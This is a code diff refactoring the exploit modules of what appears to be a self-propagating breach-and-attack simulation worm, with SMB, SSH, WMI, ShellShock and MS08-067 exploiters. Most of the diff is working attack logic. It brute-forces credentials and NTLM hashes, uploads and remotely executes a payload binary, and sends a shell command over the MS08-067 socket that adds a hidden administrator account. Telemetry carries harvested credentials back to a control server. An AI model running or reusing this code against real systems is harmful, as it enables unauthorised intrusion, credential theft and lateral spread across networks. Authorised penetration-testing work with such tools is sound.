self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
@ -146,6 +145,8 @@ class ShellShockExploiter(HostExploiter):
return True
return False
@classmethod
def check_remote_file_exists(cls, url, header, exploit, file_path):
"""
@ -206,10 +207,3 @@ class ShellShockExploiter(HostExploiter):
urls = [resp.url for resp in valid_resps]
return urls
@staticmethod
def report_vuln_shellshock(host, url):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
'exploiter': ShellShockExploiter.__name__,
'url': url})

View File

@ -1,67 +1,52 @@
import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
from tools import build_monkey_commandline, report_failed_login
try:
from impacket import smb
from impacket import uuid
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
raise
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
_TARGET_OS_TYPE = ['windows']
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
USE_KERBEROS = False
def __init__(self):
def __init__(self, host):
super(SmbExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
def is_os_supported(self):
if super(SmbExploiter, self).is_os_supported():
return True
if not host.os.get('type'):
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
if not self.host.os.get('type'):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host)
smb_finger.get_host_fingerprint(self.host)
else:
is_nb_open, _ = check_port_tcp(host.ip_addr, 139)
is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
if is_nb_open:
host.os['type'] = 'windows'
return host.os.get('type') in self._target_os_type
self.host.os['type'] = 'windows'
return self.host.os.get('type') in self._TARGET_OS_TYPE
return False
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
@ -70,7 +55,7 @@ class SmbExploiter(HostExploiter):
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
user,
@ -81,17 +66,17 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password)
self.host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
exploited = True
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc)
continue
@ -105,10 +90,10 @@ class SmbExploiter(HostExploiter):
else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,))
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'):
@ -125,7 +110,7 @@ class SmbExploiter(HostExploiter):
scmr_rpc.connect()
except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
self.host, exc)
return False
smb_conn = rpctransport.get_smb_connection()
@ -150,6 +135,6 @@ class SmbExploiter(HostExploiter):
scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
remote_full_path, self.host, cmdline)
return True

View File

@ -1,13 +1,14 @@
import paramiko
import logging
import time
from itertools import product
import paramiko
import monkeyfs
from tools import build_monkey_commandline, report_failed_login
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer'
@ -17,9 +18,10 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
_TARGET_OS_TYPE = ['linux', None]
def __init__(self):
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._update_timestamp = 0
self.skip_exist = self._config.skip_exploit_if_file_exist
@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
def exploit_host(self, host, depth=-1, src_path=None):
def exploit_host(self):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in host.services.items():
for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
is_open, _ = check_port_tcp(host.ip_addr, port)
is_open, _ = check_port_tcp(self.host.ip_addr, port)
if not is_open:
LOG.info("SSH port is closed on %r, skipping", host)
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter):
exploited = False
for user, curpass in user_password_pairs:
try:
ssh.connect(host.ip_addr,
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, user, curpass)
host.learn_credentials(user, curpass)
self.host, user, curpass)
self.report_login_attempt(True, user, curpass)
exploited = True
break
except Exception, exc:
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
report_failed_login(self, host, user, curpass)
self.report_login_attempt(False, user, curpass)
continue
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")
return False
if not host.os.get('type'):
if not self.host.os.get('type'):
try:
_, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip()
if 'linux' in uname_os:
host.os['type'] = 'linux'
self.host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception, exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False
if not host.os.get('machine'):
if not self.host.os.get('machine'):
try:
_, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip()
if '' != uname_machine:
host.os['machine'] = uname_machine
except Exception, exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
self.host.os['machine'] = uname_machine
except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
if self.skip_exist:
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
stdout_res = stdout.read().strip()
if stdout_res:
# file exists
LOG.info("Host %s was already infected under the current configuration, done" % host)
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
try:
@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0777)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.close()
except Exception, exc:
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
return False
try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth-1)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += "&"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close()
return True
except Exception, exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
except Exception as exc:
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False

View File

@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
telemetry_dict = \
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_monkey_depth():
from config import WormConfiguration
return WormConfiguration.depth

View File

@ -6,36 +6,21 @@
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys
import time
import socket
import time
from logging import getLogger
from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from exploit.tools import SmbTools, get_target_monkey
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
from . import HostExploiter
try:
from impacket import smb
from impacket import uuid
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -167,59 +152,59 @@ class SRVSVC_Exploit(object):
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_TARGET_OS_TYPE = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
def __init__(self):
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys():
def is_os_supported(self):
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in self._windows_versions.keys():
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
is_smb_open, _ = check_port_tcp(host.ip_addr, 445)
if not self.host.os.get('type') or (
self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys()
if smb_finger.get_host_fingerprint(self.host):
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
self.host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
try:
sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % \
" (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
time.sleep(2)
reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", host)
LOG.debug("Exploited into %r using MS08-067", self.host)
exploited = True
break
except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
continue
if not exploited:
@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter):
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host,
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
"Administrator",
@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1)
build_monkey_commandline(self.host, get_monkey_depth() - 1)
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False
finally:
try:
@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter):
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
remote_full_path, self.host, cmdline)
return True

View File

@ -1,80 +1,81 @@
import socket
import ntpath
import logging
import ntpath
import socket
import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
_TARGET_OS_TYPE = ['windows']
def __init__(self):
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
@WmiTools.dcom_wrap
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
def exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
self.host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
try:
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
self.host, user, password, lm_hash, ntlm_hash)
continue
except DCERPCException as exc:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
self.host, user, password, lm_hash, ntlm_hash)
continue
except socket.error as exc:
except socket.error:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
self.host, user, password, lm_hash, ntlm_hash)
return False
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
host.learn_credentials(user, password)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
fields=("Caption", ),
fields=("Caption",),
where="Name='%s'" % ntpath.split(src_path)[-1])
if process_list:
wmi_connection.close()
LOG.debug("Skipping %r - already infected", host)
LOG.debug("Skipping %r - already infected", self.host)
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path,
user,
@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path)
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1)
build_monkey_commandline(self.host, get_monkey_depth() - 1)
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = False
result.RemRelease()

View File

@ -4,7 +4,6 @@ __author__ = 'itamar'
class VictimHost(object):
def __init__(self, ip_addr):
self.ip_addr = ip_addr
self.cred = {}
self.os = {}
self.services = {}
self.monkey_exe = None
@ -30,24 +29,19 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self):
return "<VictimHost %s>" % (self.ip_addr, )
return "<VictimHost %s>" % self.ip_addr
def __str__(self):
victim = "Victim Host %s: " % self.ip_addr
victim += "OS - ["
for k, v in self.os.iteritems():
for k, v in self.os.items():
victim += "%s-%s " % (k, v)
victim += "] Services - ["
for k, v in self.services.iteritems():
for k, v in self.services.items():
victim += "%s-%s " % (k, v)
victim += ']'
victim += "target monkey: %s" % self.monkey_exe
return victim
def learn_credentials(self, username, password):
self.cred[username.lower()] = password
def get_credentials(self, username):
return self.cred.get(username.lower(), None)
def set_default_server(self, default_server):
self.default_server = default_server

View File

@ -109,7 +109,7 @@ class ChaosMonkey(object):
self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._exploiters = WormConfiguration.exploiter_classes
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
@ -152,34 +152,31 @@ class ChaosMonkey(object):
machine.set_default_server(self._default_server)
successful_exploiter = None
for exploiter in self._exploiters:
if not exploiter.is_os_supported(machine):
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
if exploiter.exploit_host(machine, WormConfiguration.depth):
result = exploiter.exploit_host()
if result:
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
continue
finally:
exploiter.send_exploit_telemetry(result)
if successful_exploiter:
self._exploited_machines.add(machine)
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)

View File

@ -1,15 +1,15 @@
import json
from datetime import datetime
import traceback
from datetime import datetime
import dateutil
from flask import request
import flask_restful
from flask import request
from cc.database import mongo
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
from cc.services.config import ConfigService
__author__ = 'Barak'
@ -43,16 +43,7 @@ class Telemetry(flask_restful.Resource):
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
try:
if telemetry_json.get('telem_type') == 'tunnel':
self.process_tunnel_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'state':
self.process_state_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'exploit':
self.process_exploit_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'scan':
self.process_scan_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'system_info_collection':
self.process_system_info_telemetry(telemetry_json)
TELEM_PROCESS_DICT[telemetry_json.get('telem_type')](telemetry_json)
NodeService.update_monkey_modify_time(monkey["_id"])
except StandardError as ex:
print("Exception caught while processing telemetry: %s" % str(ex))
@ -60,7 +51,8 @@ class Telemetry(flask_restful.Resource):
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
def telemetry_to_displayed_telemetry(self, telemetry):
@staticmethod
def telemetry_to_displayed_telemetry(telemetry):
monkey_guid_dict = {}
monkeys = mongo.db.monkey.find({})
for monkey in monkeys:
@ -77,7 +69,8 @@ class Telemetry(flask_restful.Resource):
return objects
def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json):
@staticmethod
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
dst_ip = telemetry_json['data']['machine']['ip_addr']
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
dst_node = NodeService.get_monkey_by_ip(dst_ip)
@ -86,7 +79,8 @@ class Telemetry(flask_restful.Resource):
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
def process_tunnel_telemetry(self, telemetry_json):
@staticmethod
def process_tunnel_telemetry(telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None:
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
@ -94,32 +88,32 @@ class Telemetry(flask_restful.Resource):
else:
NodeService.unset_all_monkey_tunnels(monkey_id)
def process_state_telemetry(self, telemetry_json):
@staticmethod
def process_state_telemetry(telemetry_json):
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
if telemetry_json['data']['done']:
NodeService.set_monkey_dead(monkey, True)
else:
NodeService.set_monkey_dead(monkey, False)
def process_exploit_telemetry(self, telemetry_json):
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = telemetry_json['data']
data["machine"].pop("ip_addr")
new_exploit = \
{
"timestamp": telemetry_json["timestamp"],
"data": data,
"exploiter": telemetry_json['data']['exploiter']
}
@staticmethod
def process_exploit_telemetry(telemetry_json):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
new_exploit = telemetry_json['data']
new_exploit.pop('machine')
new_exploit['timestamp'] = telemetry_json['timestamp']
mongo.db.edge.update(
{"_id": edge["_id"]},
{"$push": {"exploits": new_exploit}}
{'_id': edge['_id']},
{'$push': {'exploits': new_exploit}}
)
if data['result']:
if new_exploit['result']:
EdgeService.set_edge_exploited(edge)
def process_scan_telemetry(self, telemetry_json):
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
@staticmethod
def process_scan_telemetry(telemetry_json):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = telemetry_json['data']['machine']
ip_address = data.pop("ip_addr")
new_scan = \
@ -147,7 +141,8 @@ class Telemetry(flask_restful.Resource):
{"$set": {"os.version": scan_os["version"]}},
upsert=False)
def process_system_info_telemetry(self, telemetry_json):
@staticmethod
def process_system_info_telemetry(telemetry_json):
if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials']
for user in creds:
@ -160,3 +155,11 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
TELEM_PROCESS_DICT = \
{
'tunnel': Telemetry.process_tunnel_telemetry,
'state': Telemetry.process_state_telemetry,
'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry,
}

View File

@ -24,66 +24,20 @@ class EdgeService:
def edge_to_displayed_edge(edge):
services = []
os = {}
exploits = []
if len(edge["scans"]) > 0:
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
os = edge["scans"][-1]["data"]["os"]
for exploit in edge["exploits"]:
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
exploit_container = exploits[-1]
else:
exploit_container =\
{
"exploiter": exploit["exploiter"],
"start_timestamp": exploit["timestamp"],
"end_timestamp": exploit["timestamp"],
"result": False,
"attempts": []
}
exploits.append(exploit_container)
exploit_container["attempts"].append(new_exploit)
if new_exploit["result"]:
exploit_container["result"] = True
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge)
displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services
displayed_edge["os"] = os
displayed_edge["exploits"] = exploits
displayed_edge["exploits"] = edge['exploits']
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
return displayed_edge
@staticmethod
def exploit_to_displayed_exploit(exploit):
user = ""
password = ""
# TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
result = exploit["data"]["result"]
if result:
if "creds" in exploit["data"]["machine"]:
user = exploit["data"]["machine"]["creds"].keys()[0]
password = exploit["data"]["machine"]["creds"][user]
else:
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
user = exploit["data"]["user"]
password = exploit["data"]["password"]
return \
{
"timestamp": exploit["timestamp"],
"user": user,
"password": password,
"result": result,
}
@staticmethod
def insert_edge(from_id, to_id):
edge_insert_result = mongo.db.edge.insert_one(

View File

@ -62,9 +62,9 @@ class NodeService:
@staticmethod
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]:
